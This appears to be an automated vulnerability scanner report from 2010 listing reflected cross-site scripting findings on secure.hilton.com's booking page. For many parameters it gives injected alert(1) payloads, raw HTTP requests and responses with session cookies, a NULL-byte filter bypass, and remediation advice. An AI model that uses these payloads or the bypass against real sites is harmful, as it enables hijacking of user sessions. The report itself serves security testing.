<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... 38.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322da492"><script>alert(1)</script>ae5dde83a50" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the __utmk request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c9948'-alert(1)-'34dc8ffc42 was submitted in the __utmk parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:33:56 GMT Connection: keep-alive Content-Length: 36333
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... 38.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322c9948'-alert(1)-'34dc8ffc42'; </script> ...[SNIP]...
The value of the __utmv request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 832e1"><script>alert(1)</script>6a7e4f681ec was submitted in the __utmv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:32:48 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... 85773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-832e1"><script>alert(1)</script>6a7e4f681ec&__utmk=118669322" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the __utmv request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cdc11'-alert(1)-'f5ecc39ad3f was submitted in the __utmv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:32:53 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... 85773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-cdc11'-alert(1)-'f5ecc39ad3f&__utmk=118669322'; </script> ...[SNIP]...
The value of the __utmx request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b986e'-alert(1)-'fece75ff04 was submitted in the __utmx parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:30:58 GMT Connection: keep-alive Content-Length: 36333
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... lMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-b986e'-alert(1)-'fece75ff04&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322'; </script> ...[SNIP]...
The value of the __utmx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ce11"><script>alert(1)</script>39ff885de5f was submitted in the __utmx parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:30:52 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... lMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-9ce11"><script>alert(1)</script>39ff885de5f&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the __utmz request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8788"><script>alert(1)</script>4aa22fc5022 was submitted in the __utmz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:31:57 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... 875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hiltonf8788"><script>alert(1)</script>4aa22fc5022&__utmv=-&__utmk=118669322" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the __utmz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18a7a'-alert(1)-'55e3a262207 was submitted in the __utmz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:32:04 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... 875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton18a7a'-alert(1)-'55e3a262207&__utmv=-&__utmk=118669322'; </script> ...[SNIP]...
The value of the adId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5379a"><script>alert(1)</script>5f4a8191713 was submitted in the adId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:19:35 GMT Connection: keep-alive Content-Length: 36460
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH5379a"><script>alert(1)</script>5f4a8191713&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&_ ...[SNIP]...
The value of the adId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cf09"><script>alert(1)</script>44b0758b957 was submitted in the adId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH8cf09"><script>alert(1)</script>44b0758b957 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:23:05 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34738
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH8cf09"><script>alert(1)</script>44b0758b957" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the adId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32770'-alert(1)-'698bb1aeadd was submitted in the adId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:19:43 GMT Connection: keep-alive Content-Length: 36365
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH32770'-alert(1)-'698bb1aeadd&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&_ ...[SNIP]...
The value of the adId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33c29"%3balert(1)//61071d5e4ed was submitted in the adId parameter. This input was echoed as 33c29";alert(1)//61071d5e4ed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the arrivalDay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e148"><script>alert(1)</script>dc6fa97300b was submitted in the arrivalDay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalDay=6e148"><script>alert(1)</script>dc6fa97300b HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:24:37 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34909
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalDay=6e148"><script>alert(1)</script>dc6fa97300b" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the arrivalDay request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12f6e</script><script>alert(1)</script>a851ce68d57 was submitted in the arrivalDay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/hi/res/choose_dates.jhtml?hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalDay=12f6e</script><script>alert(1)</script>a851ce68d57 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:24:44 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34935
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalDay=12f6e</script><script>alert(1)</script>a851ce68d57'; </script> ...[SNIP]...
The value of the arrivalDay request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78af6'-alert(1)-'3659847987 was submitted in the arrivalDay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:24:12 GMT Connection: keep-alive Content-Length: 36333
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=2978af6'-alert(1)-'3659847987&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utm ...[SNIP]...
The value of the arrivalMonth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23fe1"><script>alert(1)</script>393ac520cb8 was submitted in the arrivalMonth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:20:41 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=23fe1"><script>alert(1)</script>393ac520cb8&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz ...[SNIP]...
The value of the arrivalMonth request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2b64'-alert(1)-'54eed573df6 was submitted in the arrivalMonth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:20:46 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=c2b64'-alert(1)-'54eed573df6&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz ...[SNIP]...
The value of the arrivalMonth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00ce78b"><script>alert(1)</script>962f4aa3589 was submitted in the arrivalMonth parameter. This input was echoed as ce78b"><script>alert(1)</script>962f4aa3589 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=%00ce78b"><script>alert(1)</script>962f4aa3589&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.1.10.1285773038&__utmc=206140544&__utmx=-&__utmz ...[SNIP]...
The value of the arrivalYear request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eff49'-alert(1)-'5f1897826e4 was submitted in the arrivalYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:21:37 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=eff49'-alert(1)-'5f1897826e4&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.12 ...[SNIP]...
The value of the arrivalYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28291"><script>alert(1)</script>9b62e09c134 was submitted in the arrivalYear parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:21:32 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=28291"><script>alert(1)</script>9b62e09c134&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.12 ...[SNIP]...
The value of the departureDay request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24dea'-alert(1)-'95dfb496c20 was submitted in the departureDay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:25:45 GMT Connection: keep-alive Content-Length: 35503
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... xt/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=2924dea'-alert(1)-'95dfb496c20&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmc ...[SNIP]...
The value of the departureDay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1825b"><script>alert(1)</script>e812fabd5d0 was submitted in the departureDay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:25:32 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... den" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=291825b"><script>alert(1)</script>e812fabd5d0&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmc ...[SNIP]...
The value of the departureMonth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6884c"><script>alert(1)</script>62bd261872e was submitted in the departureMonth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:22:19 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
